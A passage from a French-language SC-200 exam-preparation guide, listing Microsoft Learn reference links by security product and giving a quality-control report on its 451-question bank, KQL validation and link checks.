- Déploiement du capteur Microsoft Defender pour Identity v3.x — https://learn.microsoft.com/fr-fr/defender-for-identity/deploy/deploy-sensor-v3
- Examiner les alertes dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/investigate-security-alerts
- ★ vue d'ensemble de Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/what-is
- vue d'ensemble de Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/what-is
- ★ Vue d'ensemble du déploiement Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/deploy/deploy-defender-identity
- Évaluations de la posture de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/security-assessment

## Microsoft Defender for Cloud Apps

- ★ Comment examiner les alertes de détection d'anomalie — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate-anomaly-alerts
- ★ Contrôle des applications d'accès conditionnel dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/proxy-intro-aad
- Contrôler les applications cloud avec des stratégies — https://learn.microsoft.com/fr-fr/defender-cloud-apps/control-cloud-apps-with-policies
- ★ Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy

- ★ Créer des stratégies de session Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/session-policy-aad
- Créer des stratégies d'activité Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/user-activity-policies
- ★ Examiner et corriger les applications OAuth à risque — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate-risky-oauth
- Examiner les risques des applications cloud et les activités suspectes — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate
- ★ Gouvernance des applications dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/app-governance-manage-app-governance
- Gérer les applications OAuth — https://learn.microsoft.com/fr-fr/defender-cloud-apps/manage-app-permissions
- ★ Intégrer Microsoft Defender pour point de terminaison à Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/mde-integration
- ★ Régir les actions pour les applications connectées dans Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/governance-actions
- ★ Stratégies de fichier dans Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/data-protection-policies
- ★ Vue d'ensemble de la découverte d'applications cloud — https://learn.microsoft.com/fr-fr/defender-cloud-apps/set-up-cloud-discovery
- ★ Vue d'ensemble de Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/what-is-defender-for-cloud-apps

## Microsoft Entra ID

- ★ Accéder aux journaux d'activité Microsoft Graph — https://learn.microsoft.com/fr-fr/graph/microsoft-graph-activity-logs-overview
- ★ Atténuer les risques et débloquer les utilisateurs — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-remediate-unblock
- ★ Codes d'erreur d'authentification et d'autorisation Microsoft Entra — https://learn.microsoft.com/fr-fr/entra/identity-platform/reference-error-codes
- ★ Comment examiner les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-investigate-risk
- ★ Enquête sur l'attaque par pulvérisation de mots de passe — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-password-spray
- ★ Gestion du consentement aux applications et évaluation des demandes de consentement — https://learn.microsoft.com/fr-fr/entra/identity/enterprise-apps/manage-consent-requests
- ★ Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks
- ★ Que sont les journaux de connexion Microsoft Entra ? — https://learn.microsoft.com/fr-fr/entra/identity/monitoring-health/concept-sign-ins
- ★ Que sont les journaux d'audit Microsoft Entra ? — https://learn.microsoft.com/fr-fr/entra/identity/monitoring-health/concept-audit-logs
- ★ Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview
- Qu'est-ce que Microsoft Entra Privileged Identity Management ? — https://learn.microsoft.com/fr-fr/entra/id-governance/privileged-identity-management/pim-configure
- Qu'est-ce que Protection des ID Microsoft Entra ? — https://learn.microsoft.com/fr-fr/entra/id-protection/overview-identity-protection
- ★ Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access
- ★ Stratégies d'accès basées sur les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-policies
- ★ Évaluation de l'accès continu — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/concept-continuous-access-evaluation

## Microsoft Purview

- ★ Effectuer une recherche dans le journal d'audit — https://learn.microsoft.com/fr-fr/purview/audit-search
- ★ En savoir plus sur eDiscovery — https://learn.microsoft.com/fr-fr/purview/edisc
- ★ En savoir plus sur la gestion des risques internes — https://learn.microsoft.com/fr-fr/purview/insider-risk-management
- ★ En savoir plus sur la protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-learn-about-dlp

- ★ En savoir plus sur les solutions d'audit dans Microsoft Purview — https://learn.microsoft.com/fr-fr/purview/audit-solutions-overview
- ★ Prise en main de la recherche de contenu — https://learn.microsoft.com/fr-fr/purview/ediscovery-content-search
- ★ Prise en main du tableau de bord Alertes de protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-alerts-dashboard-get-started

## Réponse aux incidents (Microsoft Security)

- ★ Enquête d'hameçonnage — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-phishing
- Guides opérationnels sur les réponses aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbooks
- ★ Investigation sur l'octroi de consentement pour l'application — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-app-consent
- ★ Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning
- ★ Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware
- ★ Vue d'ensemble des réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-overview

## Microsoft Defender for Cloud

- ★ Activer l'accès juste-à-temps — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/enable-just-in-time-access
- ★ Alertes de sécurité - guide de référence — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-reference
- ★ Alertes et incidents de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-overview
- ★ Alertes et incidents Microsoft Defender for Cloud dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-integration-365
- ★ Analyse des machines sans agent — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-agentless-data-collection
- ★ Automatiser les réponses de remédiation dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/workflow-automations
- ★ Configurer l'exportation continue dans le portail Azure — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/continuous-export
- ★ Connecter des comptes AWS à Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-aws
- ★ Connecter vos machines non Azure à Microsoft Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-machines
- Connecter votre projet GCP à Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-gcp
- ★ Créer des requêtes avec l'explorateur de sécurité du cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/how-to-manage-cloud-security-explorer
- ★ Defender pour serveurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-servers-overview
- ★ Degré de sécurisation de Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/secure-score-security-controls
- ★ Exempter des ressources à partir des suggestions — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/exempt-resource
- ★ Générer la correction des recommandations à l'aide de règles de gouvernance — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/governance-rules
- ★ Gérer et répondre aux alertes de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/manage-respond-alerts
- ★ Identifier et corriger les chemins d'attaque dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/how-to-manage-attack-path
- ★ Ingérer les alertes Microsoft Defender for Cloud dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-defender-for-cloud
- ★ Passer en revue les recommandations de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/review-security-recommendations
- ★ Protection contre les menaces liées à l'IA dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/ai-threat-protection
- ★ Présentation de Microsoft Defender pour le stockage — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-storage-introduction
- ★ Présentation de Microsoft Defender pour les conteneurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-containers-introduction

- ★ Qu'est-ce que la gestion de posture de sécurité Cloud (CSPM) — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-cloud-security-posture-management
- ★ Qu'est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction
- ★ Référentiel de sécurité Cloud Microsoft dans Defender pour Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-regulatory-compliance
- ★ Supervision de l'intégrité des fichiers — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/file-integrity-monitoring-overview
- ★ Supprimer les alertes de Microsoft Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-suppression-rules
- ★ Sélectionner un plan Defender pour serveurs et une étendue de déploiement — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/plan-defender-for-servers-select-plan
- ★ Vue d'ensemble de Defender pour App Service afin de protéger vos applications web et API Azure App Service — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-app-service-introduction
- ★ Vue d'ensemble de Microsoft Defender pour DNS — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-dns-introduction
- ★ Vue d'ensemble de Microsoft Defender pour Key Vault — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-key-vault-introduction
- ★ Vue d'ensemble de Microsoft Defender pour Resource Manager — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-resource-manager-introduction
- ★ Vue d'ensemble des Microsoft Defender pour les bases de données Azure SQL — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-sql-introduction

## Langage KQL

- ★ ago() — https://learn.microsoft.com/fr-fr/kusto/query/ago-function?view=microsoft-sentinel
- ★ arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel
- arg_min() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-min-aggregation-function?view=microsoft-sentinel
- autocluster, plug-in — https://learn.microsoft.com/fr-fr/kusto/query/autocluster-plugin?view=microsoft-sentinel
- bag_unpack, plug-in — https://learn.microsoft.com/fr-fr/kusto/query/bag-unpack-plugin?view=microsoft-sentinel
- ★ base64_decode_tostring() — https://learn.microsoft.com/fr-fr/kusto/query/base64-decode-tostring-function?view=microsoft-sentinel
- ★ between, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/between-operator?view=microsoft-sentinel
- ★ bin() — https://learn.microsoft.com/fr-fr/kusto/query/bin-function?view=microsoft-sentinel
- ★ case() — https://learn.microsoft.com/fr-fr/kusto/query/case-function?view=microsoft-sentinel
- column_ifexists() — https://learn.microsoft.com/fr-fr/kusto/query/column-ifexists-function?view=microsoft-sentinel
- ★ contains, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/contains-operator?view=microsoft-sentinel
- ★ correspond à l'opérateur regex — https://learn.microsoft.com/fr-fr/kusto/query/matches-regex-operator?view=microsoft-sentinel
- ★ count, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/count-operator?view=microsoft-sentinel
- ★ countif() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/countif-aggregation-function?view=microsoft-sentinel
- countof() — https://learn.microsoft.com/fr-fr/kusto/query/countof-function?view=microsoft-sentinel
- ★ datetime_diff() (fonction de différence de date et heure) — https://learn.microsoft.com/fr-fr/kusto/query/datetime-diff-function?view=microsoft-sentinel
- ★ dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel
- débutdejour() — https://learn.microsoft.com/fr-fr/kusto/query/startofday-function?view=microsoft-sentinel
- ★ extract() — https://learn.microsoft.com/fr-fr/kusto/query/extract-function?view=microsoft-sentinel
- format_datetime() — https://learn.microsoft.com/fr-fr/kusto/query/format-datetime-function?view=microsoft-sentinel
- ★ fusionner() — https://learn.microsoft.com/fr-fr/kusto/query/coalesce-function?view=microsoft-sentinel
- ★ has, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-operator?view=microsoft-sentinel
- ★ has_any, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-any-operator?view=microsoft-sentinel
- ★ hourofday() — https://learn.microsoft.com/fr-fr/kusto/query/hour-of-day-function?view=microsoft-sentinel
- ★ iff() — https://learn.microsoft.com/fr-fr/kusto/query/iff-function?view=microsoft-sentinel
- ★ informations_géographiques_depuis_adresse_ip() — https://learn.microsoft.com/fr-fr/kusto/query/geo-info-from-ip-address-function?view=microsoft-sentinel

- ★ ingestion_time() — https://learn.microsoft.com/fr-fr/kusto/query/ingestion-time-function?view=microsoft-sentinel
- invoke, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/invoke-operator?view=microsoft-sentinel
- ★ in~, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/in-operator?view=microsoft-sentinel
- ipv4_is_in_range() — https://learn.microsoft.com/fr-fr/kusto/query/ipv4-is-in-range-function?view=microsoft-sentinel
- ★ ipv4_is_private() — https://learn.microsoft.com/fr-fr/kusto/query/ipv4-is-private-function?view=microsoft-sentinel
- isempty() — https://learn.microsoft.com/fr-fr/kusto/query/isempty-function?view=microsoft-sentinel
- ★ jourDeLaSemaine() — https://learn.microsoft.com/fr-fr/kusto/query/day-of-week-function?view=microsoft-sentinel
- ★ Le type de données dynamiques — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/dynamic?view=microsoft-sentinel
- ★ Let, instruction — https://learn.microsoft.com/fr-fr/kusto/query/let-statement?view=microsoft-sentinel
- ★ lookup, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/lookup-operator?view=microsoft-sentinel
- make_list() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/make-list-aggregation-function?view=microsoft-sentinel
- ★ make_set() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/make-set-aggregation-function?view=microsoft-sentinel
- matérialiser() — https://learn.microsoft.com/fr-fr/kusto/query/materialize-function?view=microsoft-sentinel
- ★ Meilleures pratiques pour les requêtes Langage de requête Kusto — https://learn.microsoft.com/fr-fr/kusto/query/best-practices?view=microsoft-sentinel
- ★ mv-expand, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/mv-expand-operator?view=microsoft-sentinel
- now() — https://learn.microsoft.com/fr-fr/kusto/query/now-function?view=microsoft-sentinel
- ★ opérateur DataTable — https://learn.microsoft.com/fr-fr/kusto/query/datatable-operator?view=microsoft-sentinel
- opérateur de données externes — https://learn.microsoft.com/fr-fr/kusto/query/externaldata-operator?view=microsoft-sentinel
- ★ opérateur de recherche — https://learn.microsoft.com/fr-fr/kusto/query/search-operator?view=microsoft-sentinel
- opérateur de tri — https://learn.microsoft.com/fr-fr/kusto/query/sort-operator?view=microsoft-sentinel
- ★ opérateur distinct — https://learn.microsoft.com/fr-fr/kusto/query/distinct-operator?view=microsoft-sentinel
- ★ opérateur extend — https://learn.microsoft.com/fr-fr/kusto/query/extend-operator?view=microsoft-sentinel
- ★ opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel
- ★ opérateur make-series — https://learn.microsoft.com/fr-fr/kusto/query/make-series-operator?view=microsoft-sentinel
- ★ opérateur project — https://learn.microsoft.com/fr-fr/kusto/query/project-operator?view=microsoft-sentinel
- opérateur take — https://learn.microsoft.com/fr-fr/kusto/query/take-operator?view=microsoft-sentinel
- ★ opérateur top — https://learn.microsoft.com/fr-fr/kusto/query/top-operator?view=microsoft-sentinel
- ★ opérateur union — https://learn.microsoft.com/fr-fr/kusto/query/union-operator?view=microsoft-sentinel
- ★ opérateur where — https://learn.microsoft.com/fr-fr/kusto/query/where-operator?view=microsoft-sentinel
- ★ Opérateurs de chaîne — https://learn.microsoft.com/fr-fr/kusto/query/datatypes-string-operators?view=microsoft-sentinel
- ★ parse, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/parse-operator?view=microsoft-sentinel
- parse_json() — https://learn.microsoft.com/fr-fr/kusto/query/parse-json-function?view=microsoft-sentinel
- parse_url() — https://learn.microsoft.com/fr-fr/kusto/query/parse-url-function?view=microsoft-sentinel
- ★ percentile(), centiles() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/percentiles-aggregation-function?view=microsoft-sentinel
- ★ prev() — https://learn.microsoft.com/fr-fr/kusto/query/prev-function?view=microsoft-sentinel
- project-away, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/project-away-operator?view=microsoft-sentinel
- ★ render, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/render-operator?view=microsoft-sentinel
- row_number() — https://learn.microsoft.com/fr-fr/kusto/query/row-number-function?view=microsoft-sentinel
- Référence rapide KQL — https://learn.microsoft.com/fr-fr/kusto/query/kql-quick-reference?view=microsoft-sentinel
- ★ serialize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/serialize-operator?view=microsoft-sentinel
- ★ series_decompose_anomalies() — https://learn.microsoft.com/fr-fr/kusto/query/series-decompose-anomalies-function?view=microsoft-sentinel
- ★ split() — https://learn.microsoft.com/fr-fr/kusto/query/split-function?view=microsoft-sentinel
- strcat() — https://learn.microsoft.com/fr-fr/kusto/query/strcat-function?view=microsoft-sentinel
- ★ summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- ★ Syntaxe des expressions régulières — https://learn.microsoft.com/fr-fr/kusto/query/regex?view=microsoft-sentinel
- ★ tolower() — https://learn.microsoft.com/fr-fr/kusto/query/tolower-function?view=microsoft-sentinel
- ★ toscalar() — https://learn.microsoft.com/fr-fr/kusto/query/toscalar-function?view=microsoft-sentinel
- tostring() — https://learn.microsoft.com/fr-fr/kusto/query/tostring-function?view=microsoft-sentinel
- Tutoriel : Découvrir les opérateurs courants — https://learn.microsoft.com/fr-fr/kusto/query/tutorials/learn-common-operators?view=microsoft-sentinel

- ★ Type de données datetime — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/datetime?view=microsoft-sentinel
- Vue d'ensemble du Langage de requête Kusto — https://learn.microsoft.com/fr-fr/kusto/query/?view=microsoft-sentinel

## Autres

- Qu'est-ce que Sécurité Microsoft Copilot ? — https://learn.microsoft.com/fr-fr/copilot/security/microsoft-security-copilot
- ★ Qu'est-ce qu'Azure Logic Apps ? — https://learn.microsoft.com/fr-fr/azure/logic-apps/logic-apps-overview

# Rapport de contrôle qualité

- **Date du contrôle** : 2026-10-12 (vérification documentaire : 2026-10-12).
- **Questions uniques** : 451 (objectif ≥ 450) — module 1 : 75, module 2 : 100, module 3 : 101, module 4 : 75, module 5 : 50, module 6 : 50.
- **Section KQL avancée (module 3)** : Compréhension de requêtes existantes : 20, Correction de requêtes erronées : 21, Création de requêtes à partir d'un besoin : 20, Corrélation entre plusieurs tables : 20, Chasse aux menaces sur journaux simulés : 20.
- **Contrôles structurels** (propositions, une correction et une analyse par distracteur, explication technique, point à retenir, référence valide) : aucune anomalie.
- **Doublons** (similarité de trigrammes > 0,6 entre énoncés + propositions) : aucun. Aucun titre en double.
- **Répartition des bonnes réponses** (toutes questions) : A : 119, B : 115, C : 116, D : 116, E : 14. Les propositions sont placées par un algorithme d'équilibrage déterministe ; aucune question n'utilise « toutes les réponses ci-dessus ».
- **Requêtes KQL** : 359 requêtes analysées par la bibliothèque officielle Kusto.Language (@kusto/language-service-next) avec les schémas de tables publiés sur Microsoft Learn (Sentinel/Log Analytics et chasse avancée Defender XDR) : **0 erreur syntaxique ou sémantique** (tables, colonnes, types, fonctions). 33 requêtes sont volontairement erronées (exercices de correction) et 2 ne sont pas validables hors ligne (fonctions propres à un environnement) ; elles sont signalées comme telles.
- **Liens documentaires** : 376 URL Microsoft Learn vérifiées (HTTP 200) dont 298 citées dans les questions ; 0 lien cassé.
- **Examens blancs** : 3 × 50 questions, 150 questions distinctes (aucune répétition entre examens), corrigé complet pour chacune ; pondération 21/18/11 conforme au poids des trois domaines officiels.
- **Référentiel** : contenu aligné sur le guide d'étude SC-200 « Compétences mesurées à compter du 21 octobre 2026 » (Gérer un environnement d'opérations de sécurité 40–45 %, Répondre aux incidents de sécurité 35–40 %, Effectuer la chasse aux menaces 20–25 %).

## Méthode de contrôle

Les contrôles ci-dessus sont produits **automatiquement** à chaque génération par `scripts/build.py` ; ils ne sont pas déclaratifs. Les vérifications réalisées :

1. **Structure** : chaque question possède un énoncé, 4 ou 5 propositions, le bon nombre de réponses correctes, une justification pour chaque proposition incorrecte, une correction détaillée, une explication technique, un point à retenir et au moins une référence connue et valide. Les corrections ne citent jamais de lettre, car les propositions sont mélangées par un algorithme d'équilibrage déterministe.
2. **KQL** : les requêtes sont analysées (syntaxe **et** sémantique : tables, colonnes, types, fonctions) par la bibliothèque officielle Kusto.Language (paquet npm `@kusto/language-service-next`), avec les schémas de 82 tables téléchargés depuis les pages de référence Microsoft Learn (`scripts/fetch_schemas.py`). Les requêtes des propositions incorrectes qui sont volontairement invalides sont marquées et exclues de la validation.
3. **Liens** : chaque URL Microsoft Learn (version fr-fr) est téléchargée ; le code HTTP, l'absence de redirection vers une autre page et le titre réel de la page sont enregistrés (`scripts/verify_refs.py`, fichier `content/refs.json`).
4. **Doublons** : comparaison de similarité (trigrammes de mots) entre toutes les paires de questions et contrôle des titres en double.
5. **Relecture technique** : les faits sensibles et récents (data lake, gestion des cas, collecte personnalisée MDE, détections personnalisées, plans Defender for Servers, prérequis de connexion au portail Defender, référentiel SC-200 du 21 octobre 2026) ont été vérifiés sur les pages Microsoft Learn correspondantes pendant la rédaction ; les résultats attendus des 20 exercices de chasse sur journaux simulés ont été recalculés manuellement (une erreur de jour de semaine a ainsi été corrigée).

## Limites connues

- **Exécution des requêtes** : l'analyse Kusto.Language valide la syntaxe, les noms et les types, mais **n'exécute pas** les requêtes. Les résultats annoncés pour les journaux simulés ont été vérifiés à la main ; le comportement exact de certaines fonctions (par exemple `series_decompose_anomalies`) peut varier légèrement selon la version du moteur.
- **Hypothèses de schéma** : quelques requêtes s'appuient sur des propriétés de colonnes dynamiques (par exemple `Properties_d.resourceLocation`, `RawEventData.SiteUrl`, `AdditionalFields`) ou sur des valeurs de colonnes (libellés d'`ActionType`, de `ProductName`, de `SentinelResourceType`) qui dépendent des sources et des versions ; elles sont signalées dans la rubrique « Hypothèses liées au schéma ». Les fonctions propres à un environnement (`workspace()`, `FileProfile()`) sont marquées comme non validables hors ligne.
- **Évolution des produits** : les fonctionnalités Microsoft Security évoluent très vite (renommages, préversions, migrations vers le portail Defender). Les informations sont exactes à la date de vérification indiquée ; plusieurs fonctionnalités citées sont en **préversion** (cas d'incident, collecte personnalisée MDE, certaines capacités du data lake et du graphe Sentinel) et peuvent changer.
- **Pondération** : la répartition par module imposée par le cahier des charges ne reproduit pas exactement la pondération officielle (voir la matrice de la présentation) ; les examens blancs, eux, la respectent.
- **Langue de l'examen** : la version française de l'examen peut être mise à jour environ huit semaines après la version anglaise ; le guide suit le référentiel du 21 octobre 2026.
- **Questions officielles** : aucune question réelle de l'examen n'a été consultée ni reproduite ; le style des questions est indicatif.
- **Version DOCX** : si elle est fournie, elle est convertie automatiquement depuis le HTML par Pandoc ; sa mise en page est plus simple que celle du PDF, qui reste la version de référence.